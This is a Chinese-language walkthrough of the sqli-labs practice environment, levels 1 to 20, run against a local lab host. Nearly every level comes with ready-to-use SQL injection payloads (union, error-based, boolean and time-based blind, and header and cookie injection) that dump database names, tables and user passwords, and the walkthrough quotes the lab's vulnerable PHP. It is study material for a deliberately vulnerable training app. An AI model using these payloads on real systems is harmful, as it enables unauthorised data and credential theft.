数字型注入点 许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递 id 等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1
字符型注入点 网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
搜索型注入点 这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 keyword=关键字 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%'
按照数据提交的方式来分类
GET 注入 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
从 ‘1’’ LIMIT 0,1的报错信息中可以判断出后台执行的 sql 语句:select * from TABLE where id=’1’ limit 0,1;
order by 猜测字段数
1 2 3
http://192.168.150.128/sqli-labs-master/Less-1/?id=1' order by 1%23 ...... http://192.168.150.128/sqli-labs-master/Less-1/?id=1' order by 4%23
PS: order by 4 时页面报错,判断 TABLE 字段数为3。 这里的 %23 表示的是 “#” 符号,用来注释后面的语句。字符 “#” 浏览器不会编码,需要手动编码 %23
查看字段显示位置
1
http://192.168.150.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,3%23
PS: union 之前的语句必须返回空值,因为 mysql_fetch_array() 函数 只能获取一条信息。也就是说:整个 SQL 语句中,只能返回一个 SQL 执行结果。
获取数据库登录用户、数据库名
1
http://192.168.150.128/sqli-labs-master/Less-1/?id=-1' union select 1,user(),database()%23
PS: user():获取当前登录的数据库用户 database():获取数据库名称6
爆表
1
http://192.168.150.128/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'%23
PS: group_concat() 函数可以让查询获得的数据组成一行显示。
在 MySQL 中,把 information_schema 是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。
爆表中的字段
1
http://192.168.150.128/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'%23
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users %23
从 ‘ LIMIT 0,1的报错信息中可以判断出后台执行的 sql 语句:select * from TABLE where id=1 limit 0,1;
order by 猜测字段数
1 2 3
http://192.168.150.128/sqli-labs-master/Less-2/?id=1 order by 1%23 ...... http://192.168.150.128/sqli-labs-master/Less-2/?id=1 order by 4%23
查看字段显示位置
1
http://192.168.150.128/sqli-labs-master/Less-2/?id=-1 union select 1,2,3%23
获取数据库登录用户、数据库名
1
http://192.168.150.128/sqli-labs-master/Less-2/?id=-1 union select 1,user(),database()%23
爆表
1
http://192.168.150.128/sqli-labs-master/Less-2/?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'%23
爆表中的字段
1
http://192.168.150.128/sqli-labs-master/Less-2/?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'%23
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-2/?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users %23
从 ‘1’’) LIMIT 0,1的报错信息中可以判断出后台执行的 sql 语句:select * from TABLE where id=(‘1’) limit 0,1;
order by 猜测字段数
1 2 3
http://192.168.150.128/sqli-labs-master/Less-3/?id=1') order by 1%23 ...... http://192.168.150.128/sqli-labs-master/Less-3/?id=1') order by 4%23
查看字段显示位置
1
http://192.168.150.128/sqli-labs-master/Less-3/?id=-1') union select 1,2,3%23
获取数据库登录用户、数据库名
1
http://192.168.150.128/sqli-labs-master/Less-3/?id=-1') union select 1,user(),database()%23
爆表
1
http://192.168.150.128/sqli-labs-master/Less-3/?id=-1') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'%23
爆表中的字段
1
http://192.168.150.128/sqli-labs-master/Less-3/?id=-1') UNION SELECT 1,2,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'%23
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-3/?id=-1') UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users %23
http://192.168.150.128/sqli-labs-master/Less-4/?id=1") order by 4%23
查看字段显示位置
1
192.168.150.128/sqli-labs-master/Less-4/?id=-1") union select 1,2,3%23
获取数据库登录用户、数据库名
1
192.168.150.128/sqli-labs-master/Less-4/?id=-1") union select 1,user(),database()%23
爆表
1
http://192.168.150.128/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'%23
爆表中的字段
1
http://192.168.150.128/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'%23
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) FROM security.users %23
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' order by 4%23
爆数据库名
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a%23
爆表
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))a from information_schema.columns group by a%23
爆字段
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a%23
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select username FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat((select password FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" order by 4%23
爆数据库名
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a%23
爆表
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))a from information_schema.columns group by a%23
爆字段
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a%23
爆数据
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select username FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
1
http://192.168.150.128/sqli-labs-master/Less-6/?id=1" union select 1,count(*),concat((select password FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a%23
Less7
导出文件GET字符型注入
基础知识
思路:这次的标题是 dump into file 经过一些简单的测试,发现报错注入行不同,一些正常的注入也没有回显。所以结合标题 说明这题需要新的思路和手段。
函数
outfile:导出检索出的数据 loadfile:将表的内容导出为一个文本文件(一次导出一行) dumpfile:将数据导入 MYSQL
工作原理
这个原理其实比较简单。就是利用语句 into outfile ” 路径(服务器)” 可以把内容输出到,服务器上该路径的文本中。
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(length((select database())))>55%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(length((select database())))>56%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(length((select database())))=56%23
判断数据库
判断第一个字母
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>110%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>115%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))=115%23
注:第一个字符串的 ascii 值为 115,从上面的 ascii 表中可以找到相应的字符为 “ s ”
判断第二个字母
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),2,1))>100%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),2,1))>101%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),2,1))=101%23
注:第一个字符串的 ascii 值为 101,从上面的 ascii 表中可以找到相应的字符为 “ e ”
判断表
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23
判断字段
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),1,1))=105%23
判断数据
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select username FROM security.users limit 0,1),1,1))=68%23
1
http://192.168.150.128/sqli-labs-master/Less-8/?id=1' and ascii(substr((select password FROM security.users limit 0,1),1,1))=68%23
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(length(database()))>56, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(length(database()))=56, 0, sleep(5))%23
判断数据库
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115, 0, sleep(5))%23
判断表
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101, 0, sleep(5))%23
判断字段
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),1,1))=105, 0, sleep(5))%23
判断数据
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select username FROM security.users limit 0,1),1,1))=68, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select password FROM security.users limit 0,1),1,1))=68, 0, sleep(5))%23
Less10
基于时间的GET双引号盲注
判断数据库字符串的长度
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(length(database()))>56, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(length(database()))=56, 0, sleep(5))%23
判断数据库
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115, 0, sleep(5))%23
判断表
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101, 0, sleep(5))%23
判断字段
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),1,1))=68, 0, sleep(5))%23
判断数据
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select username FROM security.users limit 0,1),1,1))=68, 0, sleep(5))%23
1
http://192.168.150.128/sqli-labs-master/Less-10/?id=1" and if(ascii(substr((select password FROM security.users limit 0,1),1,1))=68, 0, sleep(5))%23
Less11
HTML基础知识
表单赏析
了解表单
功能:用于搜集不同类型的用户输入的内容,然后将数据提交给后台服务器处理。
有了表单,网页内容可以由用户自己创建,对于网页来说,我们既是网页创建者,也是网页消费者。
常用的表单元素
form 表单
input 表单元素
select和option 下拉菜单
textarea 文本域
from 元素
action:表示当前表单中的内容提交给哪个页面进行处理
method:表示当前表单提交方式,常见的由 get 和 post 方式,默认是 get 提交
get 方式:使用 get 方式向后台发送数据,会把所有的请求数据拼接成 k=value 的形式连到一起,组装到 URL 上,其本质上是 URL 的拼接,把所有参数拼接到一起,组成新的 URL。
post 方式:请求的 URL 不会发生任何变化,请求数据会通过浏览器传输给后台服务器。POST 的安全性比较高,URL 更加干净。get 方式会把数据显示出来,造成数据泄露。
示例:
总结
post 就是将 form 标签的表单提交方式设为 post。
post 传输过程:form 标签包裹住所有的 input 输入框,当你点提交(submit)的时候,就会把 form 包裹的所有的 input 信息提交给 form 对应的后台服务器地址,这就是一个 post 过程。
注入步骤
尝试输入 username:用户名+单引号,password:随便输
注:从报错中可以猜出数据库的执行语句:SELECT username, password FROM users WHERE username=’admin’ and password=’$passwd’ LIMIT 0,1
尝试输入 username:用户名+单引号+井号,password:随便输
猜测字段
1 2
username:admin' order by 3# password:1234
爆库
1 2
username:1admin' union select 1,database()# password:1234
注:这里和 get 型注入一样,union 之前的值必须为空值。
爆表
1 2 3
username:1admin' union select 1,group_concat(table_name) FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'#
password:1234
爆字段
1 2 3
username:1admin' union select 1,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'#
password:1234
爆数据
1 2 3
username:1admin' union select 1,group_concat(username) FROM security.users#
password:1234
1 2 3
username:1admin' union select 1,group_concat(password) FROM security.users#
password:1234
Less12
本关和 less11 类似,只是在 id 的参数的处理上有一定的不同。
尝试输入 username:用户名+双引号,password:随便输
注:从报错中可以判断出SQL语句:SELECT username, password FROM users WHERE username=(“admin”) and password=(“$passwd”) LIMIT 0,1
尝试输入 username:用户名+双引号+括号+井号,password:随便输
猜测字段
1 2 3
username:admin") order by 3#
password:1234
爆库
1 2 3
username:1admin") union select 1,database()#
password:1234
爆表
1 2 3
username:1admin") union select 1,group_concat(table_name) FROM information_schema.TABLES WHERE TABLE_SCHEMA='security'#
password:1234
爆字段
1 2 3
username:1admin") union select 1,group_concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'#
password:1234
爆数据
1 2 3
username:1admin") union select group_concat(username),group_concat(password) FROM security.users#
password:1234
Less13
POST 型单引号双注入
尝试输入 username:用户名+单引号,password:随便输
注:从报错中可以判断出SQL语句:SELECT username, password FROM users WHERE username=(‘admin’) and password=(‘$passwd’) LIMIT 0,1
尝试输入 username:用户名+单引号+括号+井号,password:随便输
猜测字段
1 2 3
username:admin') order by 3#
password:1234
爆库
1 2 3
username:admin') union select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
爆表
1 2 3
username:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
1 2 3
username:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
1 2 3
username:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
1 2 3
username:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
爆字段
1 2 3
username:admin') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
1 2 3
username:admin') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
1 2 3
username:admin') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
爆数据
1 2 3
username:admin') union select count(*),concat((select username FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
1 2 3
username:admin') union select count(*),concat((select password FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a#
password:1234
Less14
本关和 13 关一样都是双注入,只是 “单引号” 改成了 “双引号”
尝试输入 username:用户名+双引号,password:随便输
注:这边不太好判断出 SQL 语句,从后台可以看到 SQL 语句:SELECT username, password FROM users WHERE username=”admin” and password=”$passwd” LIMIT 0,1
尝试输入 username:用户名+双引号+井号,password:随便输
猜测字段
1 2
username:admin" order by 3# password:1234
爆库
1 2
username:admin" union select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
爆表
1 2
username:admin" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
1 2
username:admin" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
1 2
username:admin" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
1 2
username:admin" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
爆字段
1 2
username:admin" union select count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
1 2
username:admin" union select count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 1,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
1 2
username:admin" union select count(*),concat((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 2,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
爆数据
1 2
username:admin" union select count(*),concat((select username FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
1 2
username:admin" union select count(*),concat((select password FROM security.users limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a# password:1234
Less15
POST 型单引号布尔盲注
前言
正确回显是固定字符串(无回显)这里页面显示flag.jpg这张图片;
错误回显是Mysql错误信息,这里页面显示slap.jpg这张图片。
注入步骤
判断数据库字符串的长度
1 2
admin' and ascii(length((select database())))>55# password:1234
1 2
admin' and ascii(length((select database())))>56# password:1234
1 2
admin' and ascii(length((select database())))=56# password:1234
判断数据库
第一个字母
1 2
admin' and ascii(substr((select database()),1,1))>110# password:1234
1 2
admin' and ascii(substr((select database()),1,1))>115# password:1234
1 2
admin' and ascii(substr((select database()),1,1))=115# password:1234
判断表
1 2
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101# password:1234
判断字段
1 2
admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),1,1))=105# password:1234
判断数据
1 2
admin' and ascii(substr((select username FROM security.users limit 0,1),1,1))=68# password:1234
1 2
admin' and ascii(substr((select password FROM security.users limit 0,1),1,1))=68# password:1234
Less16
POST 型单引号时间盲注
判断数据库字符串的长度
1
admin") and if(ascii(length(database()))>56, 0, sleep(5))#
1
admin") and if(ascii(length(database()))=56, 0, sleep(5))#
判断数据库
1
admin") and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#
1
admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))#
判断表
1
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101, 0, sleep(5))#
1
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101, 0, sleep(5))#
判断字段
1
admin") and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),1,1))=105, 0, sleep(5))#
判断数据
1
admin") and if(ascii(substr((select password FROM security.users limit 0,1),1,1))=68, 0, sleep(5))#
1
admin") and if(ascii(substr((select username FROM security.users limit 0,1),1,1))=68, 0, sleep(5))#
Less17
本关是一个利用 update 语句修改修改用户密码的过程,本关注入的前提是必须要知道用户名。
基础知识
这一关是一个 POST 型 update 报错注入。 update 语句:update users set password='123456' where username='Dumb';
函数
updatexml() 是 mysql 内置的的 XML 文件解析和修改函数。函数输出结果最大长度为 32 位。
User Name:admin New Password:1' or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
暴数据库名
1 2
User Name:admin New Password:1' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
暴表
1 2
User Name:admin New Password:1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
暴字段
1 2
User Name:admin New Password:1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),0x7e),1)#
暴数据
1 2
User Name:admin New Password:1' or updatexml(1,concat(0x7e,(select username FROM security.users limit 0,1),0x7e),1)#
1 2
User Name:admin New Password:1' or updatexml(1,concat(0x7e,(select password FROM security.users limit 0,1),0x7e),1)#
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
User-Agent 通常格式:
1
Mozilla/5.0 (平台) 引擎版本 浏览器版本号
第一部分:Mozilla/5.0
由于历史上的浏览器大战,当时想获得图文并茂的网页,就必须宣称自己是 Mozilla 浏览器。此事导致如今 User-Agent 里通常都带有 Mozilla 字样,出于对历史的尊重,大家都会默认填写该部分。
第二部分:平台这部分可由多个字符串组成,用英文半角分号分开
Windows NT 10.0:是指我使用的操作系统的版本,比如我使用的 win10 对应的就是 Windows NT 10.0,如果我使用 win7 对应的就是Windows NT 6.1。
Win64;x64:是指我的操作系统是64位的。
rv:70.0:Gecko 的发布版本号
注:Gecko 的发布版本号与 firefox 的版本号相同
Windows系统下:
1 2 3 4 5 6 7 8 9
Windows NT 5.0 // 如 Windows 2000 Windows NT 5.1 // 如 Windows XP Windows NT 6.0 // 如 Windows Vista Windows NT 6.1 // 如 Windows 7 Windows NT 6.2 // 如 Windows 8 Windows NT 6.3 // 如 Windows 8.1 Windows NT 10.0 // 如 Windows 10 Win64; x64 // Win64 on x64 WOW64 // Win32 on x64
Linux系统下:
1 2 3
X11; Linux i686; // Linux 桌面,i686 版本 X11; Linux x86_64; // Linux 桌面,x86_64 版本 X11; Linux i686 on x86_64 // Linux 桌面,运行在 x86_64 的 i686 版本
macOS系统下:
1 2 3
Macintosh; Intel Mac OS X 10_9_0 // Intel x86 或者 x86_64 Macintosh; PPC Mac OS X 10_9_0 // PowerPC Macintosh; Intel Mac OS X 10.12; // 不用下划线,用点
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
继续查看源代码,会发现一个数据库插入语句,同时找到了网页最后的输出信息
1 2 3
$uagent = $_SERVER['HTTP_USER_AGENT']; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; echo 'Your User Agent is: ' .$uagent;
' or updatexml(1,concat(0x7e,(database()),0x7e),1), '','')#
注:modify headers 插件在 firefox 没有生效,在 chrome 生效。
暴表
1
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1), '','')#
暴字段
1
1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),0x7e),1), '','')#
暴数据
1
1' or updatexml(1,concat(0x7e,(select username FROM security.users limit 0,1),0x7e),1), '','')#
$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
继续查看源代码,会发现一个数据库插入语句,同时找到了网页最后的输出信息
1 2 3
$uagent = $_SERVER['HTTP_REFERER']; $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; echo 'Your Referer is: ' .$uagent;
' or updatexml(1,concat(0x7e,(database()),0x7e),1), '','')#
暴表
1
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1), '','')#
暴字段
1
1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' AND TABLE_NAME='users' limit 0,1),0x7e),1), '','')#
暴数据
1
1' or updatexml(1,concat(0x7e,(select username FROM security.users limit 0,1),0x7e),1), '','')#
Less20
HTTP 头 cookies 注入,本关注入的前提是必须要知道用户名和密码。
基础知识
cookie起源
早期的 Web 应用面临的最大问题之一就是如何维持状态。简言之,服务器无法知道两个请求是否来自于同一个浏览器。当时,最简单的办法就是在请求的页面中插入一个 token,然后在下次请求时将这个 token 返回至服务器。这需要在页面的 form 表单中插入一个包含 token 的隐藏域,或者将 token 放在 URL 的 query 字符串中来传递。这两种方法都需要手动操作,而且极易出错。
当时网景通讯的一名员工 Lou Montulli,在 1994 年将 “magic cookies” 的概念应用到 Web 通讯中。他试图解决 Web 的第一个购物车应用,现在购物车成了购物网站的支柱。他的原始说明文档提供了 cookie 工作原理的基本信息,该文档后来被作为规范纳入到 RFC 2109(大多数浏览器的实现参考文档)中,最终被纳入到 RFC 2965 中。Montulli 也被授予 cookie 的美国专利。网景浏览器在它的第一个版本中就开始支持 cookie,现在所有 Web 浏览器都支持 cookie。
简介
简单地说,cookie 就是浏览器储存在用户电脑上的一小段文本文件。cookie 是纯文本格式,不包含任何可执行的代码。一个 Web 页面或服务器告知浏览器按照一定规范来储存这些信息,并在随后的请求中将这些信息发送至服务器,Web 服务器就可以使用这些信息来识别不同的用户。大多数需要登录的网站在用户验证成功之后都会设置一个 cookie,只要这个 cookie 存在并有效,用户就可以自由浏览这个网站的任意页面。再次说明,cookie 只包含数据,就其本身而言并不有害。
$cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo"<center>"; echo'<br><br><br>'; echo'<img src="../images/Less-20.jpg" />'; echo"<br><br><b>"; echo'<br><font color= "red" font size="4">'; echo"YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo"</font><br>"; echo'<font color= "cyan" font size="4">'; echo"YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo"</font><br>"; echo'<font color= "#FFFF00" font size = 4 >'; echo"DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo'<font color= "orange" font size = 5 >'; echo"YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
